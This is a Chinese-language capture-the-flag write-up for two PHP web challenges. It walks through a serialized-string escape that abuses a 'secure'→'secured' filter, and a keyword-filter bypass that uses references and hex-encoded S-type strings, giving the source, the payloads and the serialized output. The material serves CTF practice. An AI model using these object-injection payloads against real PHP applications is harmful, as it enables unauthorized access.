NUCTF
web
EasyUnser:
<?php
include_once'flag.php';
highlight_file(__FILE__);
function filter($str)
{
return str_replace('secure','secured',$str);
}
class Hacker{
public $username = 'margin';
public $password = 'margin123';
}
$h = new Hacker();
if (isset($_POST['username'])&&isset($_POST['password'])){
//Security filter
$h->username=$_POST['username'];
$c = unserialize(filter(serialize($h)));
if($c->password === 'hacker'){
echo $flag;
}
}
- 想办法逃逸掉原来的
password
- 根据过滤函数,过滤后增加一位
逃逸方式:
- 先得到
$h
的序列化字符串
<?php
class Hacker{
public $username = 'margin';
public $password = 'hacker';
}
$h = new Hacker();
$y = serialize($h);
echo $y;
?>
- 得到想要的(符合题目的)序列化字符串
O:6:"Hacker":2:{s:8:"username";s:6:"margin";s:8:"password";s:6:"hacker";}
//真正的序列化字符串(由于密码不能控制)
O:6:"Hacker":2:{s:8:"username";s:6:"margin";s:8:"password";s:9:"margin123";}、
//需要补足的字符串
";s:8:"password";s:6:"hacker";}
- 根据
filter
函数,会增加secure
的位数
- 猜想,利用secure补足
username
的位数,后面加上password
密码字符串,进而修改password
payload:
<?php
class Hacker{
public $username = 'securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}';
public $password = 'margin123';
}
$h = new Hacker();
$y = serialize($h);
echo $y;
?>
//username传送参数
securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecure";s:8:"password";s:6:"hacker";}
";s:8:"password";s:6:"hacker";}这里是31位,想要他作为password字符串,就要补足username的位数,利用filter函数,需要31个secure
- 传参数
Just serialize
- 根据题目,很显然知道obj的变化顺序
数组--->对象--->序列化字符串--->对象--->数组
- 根据题意,对象有
flag
成员,并且值应该是flag
<?php
$obj=(object)array("flag"=>"flag");
$obj->min=&$obj->flag; //绕过$k!=="flag";
$b = serialize($obj);
echo $b;
?>
- 得到序列化字符串
O:8:"stdClass":2:{s:4:"flag";s:4:"flag";s:3:"min";R:2;}
- 由于正则过滤了
flag
hex编码绕过,同时将s转变为S(以hex进行识别)
O:8:"stdClass":2:{S:4:"\66\6c\61\67";S:4:"\66\6c\61\67";s:3:"min";R:2;}
- 传参数